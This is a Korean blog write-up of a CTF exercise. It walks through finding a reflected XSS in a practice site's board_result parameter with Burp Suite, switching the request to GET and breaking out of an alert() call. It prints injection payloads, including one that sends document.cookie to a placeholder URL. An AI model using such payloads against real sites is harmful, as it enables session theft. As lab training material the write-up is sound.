해킹/해킹 기법

XSS CTF 정리 2번 문제

Haemaa 2023. 5. 14. 20:56

XSS CTF 2번째 문제를 풀어보겠습니다.

 

링크로 들어가면 로그인 버튼과 문의 게시판 버튼이 보입니다.

로그인 창은 간단히 이메일과 비밀번호 입력란으로 구성되어있습니다.

 

1번에서 회원가입을 해놔서 다시 해야하려나? 했는데 제 아이디가 이미 가입되어있다고 뜹니다.

 

3번과 7번도 그대로 이용하면 되는 것 같습니다.

 

이 창은 로그인 안 한 상태로 문의 게시판에 들어갔을 때 나온 창입니다.

 

제목을 쓰고 내용을 입력할 수 있게 되어있습니다.

 

일단 로그인을 해보겠습니다.

마이페이지를 누르면 나오는 창입니다.

공지 사항을 누르면 나오는 페이지입니다.

Burp Suite로 히스토리를 살펴보면서 이곳저곳 탐험해줍니다.

회원 정보 수정에서 GET방식으로 user라는 파라미터가 전송되고 있는걸 볼 수 있습니다.

 

Repeater로 이 파라미터의 값을 조절해봅니다.

마우스 오른쪽 버튼을 눌러 Send to Repeater를 눌러 Repeater로 보내줍니다.

 

제 이름을 적고 뒤에 <"'>를 쳐서 필터링이 되는지 출력되는지를 보겠습니다.

 

POC 코드로 경고창이 띄워지는지 확인하려고

<script>alert(1)</script> 코드를 입력했지만

아무일도 일어나지 않았습니다.

게시판으로 넘어가보겠습니다.

 

아무렇게나 dfd 이렇게 검색해보면

해당 값을 받아 경고창으로 반환해주는 걸 알 수 있습니다.

똑같이 Repeater로 옮겨서 board_result의 값을 바꿔줬더니

 

결과에 반영되는 것을 볼 수 있습니다.

 

여기서 테스트를 해보겠습니다.

 

결과가 반영되는 것은 좋은데 해당 게시판이 POST방식으로 전달하고 있습니다.

 

Reflected XSS를 실행하려면 GET 방식이어야 하므로 바꿔줍니다.

 

Repeater로 보낸 다음 마우스 오른쪽 클릭후, Change request method를 누릅니다.

그럼 GET 방식으로 바뀌고 파라미터들이 URL에 추가되는 것을 볼 수 있습니다.

 

입력한 값이 alert 안에 들어가 있어 다른 script가 먹히질 않습니다.

 

그렇기 때문에 괄호 짝을 맞춰줘서 원하는 다른 명령을 추가해봅시다.

 

그럼 hi 라는 alert 경고 창 후에 원하는 alert(1) 경고창이 실행되고

다음 alert('babo') 검색 결과~ 경고창이 실행됩니다.

 

이거보다 좀 더 세련되게 하고싶다면 주석처리를 해주면 됩니다.

// 슬래시 두 개를 추가해주면 맨 뒤의 괄호를 죽일 수 있습니다.

 

이렇게 입력해주면,

 

 

잘 뜨는 것을 볼 수 있습니다.

 

또는 슬래시 두개를 쓰지 않고 변수 a를 이용해 가둘 수도 있습니다.

 

hi');alert(1);var+a=('

 

 

 

그럼 이 POC가 먹히는 걸 봤으니 쿠키를 탈취할 수 있는 코드를 넣어보겠습니다.

 

hi');var+cookie=document.cookie;var+img=new+Image();img.src="URL"+cookie;//

 

board_result 파라미터에 이 값을 넣어주면 

이렇게 야무진 코드로 바뀌는 것을 볼 수 있습니다.

----------------------------------------------------------

그런데 이 페이지에서, 여러가지 파라미터가 있는데 다른 곳에 넣어보면

어떻게 될까요?

 

date_from 파라미터에 이 페이지엔 도저히 없을 것 같은 netflix라는 글자를 치고 send를 눌러보았습니다.

 

검색 기능으로 netflix를 찾았지만 매칭되는 것이 하나도 없습니다.

 

그럼 이 파라미터는 나가리입니다.

 

다음으로 date_to 파라미터에 넣어보겠습니다.

 

역시나 나가리입니다. 이 페이지에선 board_result 파라미터만 Reflected XSS 취약점을 가지고 있다고 판단하면 될 것 같습니다.